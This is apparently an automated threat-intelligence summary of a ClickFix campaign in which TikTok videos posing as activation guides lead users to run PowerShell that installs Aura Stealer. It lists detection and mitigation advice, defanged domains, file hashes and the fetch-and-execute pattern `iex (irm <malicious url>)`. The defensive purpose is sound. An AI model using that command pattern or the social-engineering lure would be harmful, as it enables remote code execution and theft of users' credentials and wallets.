Full Report
Cybercriminals are using TikTok videos disguised as free activation guides for popular software like Windows, Spotify, and Netflix to spread information-stealing malware. [...]
Analysis Summary
# Tool/Technique: Aura Stealer via ClickFix social engineering
## Overview
This campaign uses social engineering techniques delivered via TikTok videos, labeled as a "ClickFix attack," to trick users into executing malicious PowerShell commands. These commands ultimately download and execute the Aura Stealer information-stealing malware, often disguised as activation guides for legitimate software.
## Technical Details
- Type: Malware (Aura Stealer) / Technique (ClickFix social engineering)
- Platform: Windows (PowerShell execution environment)
- Capabilities: Information theft, remote script execution, in-memory payload launching.
- First Seen: Campaign observed ongoing as of October 2025, building on prior observations from May 2025.
## MITRE ATT&CK Mapping
- TA0001 - Initial Access
- T1189 - Drive-by Compromise (Indirectly, via deceptive content leading to command execution)
- TA0002 - Execution
- T1059.001 - Command and Scripting Interpreter: PowerShell
- TA0010 - Exfiltration
- T1041 - Exfiltration Over C2 Channel (Implied, as stolen data is uploaded to attackers)
## Functionality
### Core Capabilities
- **Initial Infection Vector:** Deceptive TikTok videos instructing users to run a PowerShell command as an administrator. The command uses `iex (irm <malicious url>)` to retrieve and execute a remote script.
- **Malware Download:** The initial script downloads two executables from Cloudflare Pages.
- **Aura Stealer Deployment:** Downloads `updater.exe`, identified as a variant of Aura Stealer.
- **Information Theft:** Aura Stealer's primary function is collecting saved credentials from browsers, authentication cookies, cryptocurrency wallets, and credentials from other applications.
### Advanced Features
- **Secondary Payload:** Downloads an additional payload named `source.exe`.
- **In-Memory Code Compilation/Injection:** `source.exe` uses the .NET's built-in Visual C# Compiler (`csc.exe`) to self-compile code, which is then injected and launched directly into memory. (The specific purpose of this final stage is noted as unclear in the report).
## Indicators of Compromise
- File Hashes:
- `updater.exe` (Aura Stealer variant): SHA256: `58b11b4dc81d0b005b7d5ecae0fb6ddb3c31ad0e7a9abf9a7638169c51356fd8` (Partial hash provided in source review)
- `source.exe`: SHA256: `db57e4a73d3cb90b53a0b1401cb47c41c1d6704a26983248897edcc13a367011` (Partial hash provided in source review)
- File Names: `updater.exe`, `source.exe`
- Registry Keys: [Not explicitly mentioned]
- Network Indicators:
- Initial execution domain: `slmgr[.]win` (Used for initial script retrieval)
- Download host: `file-epq[.]pages[.]dev` (Cloudflare Pages deployment)
- Behavioral Indicators:
- Execution of administrative PowerShell command involving `iex (irm ...)` fetching remote content.
- Use of `csc.exe` for compiling and injecting code directly into memory.
## Associated Threat Actors
- Unattributed Cybercriminals (The campaign is described as a widespread, ongoing operation).
## Detection Methods
- Signature-based detection: Signatures for the identified file hashes and known Aura Stealer executables.
- Behavioral detection: Monitoring for administrative PowerShell execution chains utilizing `iex` with remote sources, and processes invoking `csc.exe` to compile and inject code dynamically.
- YARA rules: Potentially for known strings or structural elements within the Aura Stealer binary.
## Mitigation Strategies
- **User Education:** Strictly caution users against copying and pasting commands found online (especially from social media videos) into administrative prompts or shell environments.
- **Application Control:** Implement controls to restrict or monitor the execution of PowerShell scripts sourced remotely.
- **Endpoint Security:** Ensure EDR solutions actively monitor for post-exploitation activities, particularly memory injection techniques utilizing legitimate compilers like `csc.exe`.
- **Credential Compromise Response:** Assume all credentials used on the affected system are compromised and enforce immediate password resets.
## Related Tools/Techniques
- ClickFix attack (General technique)
- FileFix attack (Similar file explorer address bar weaponization)
- Aura Stealer (The specific malware family used)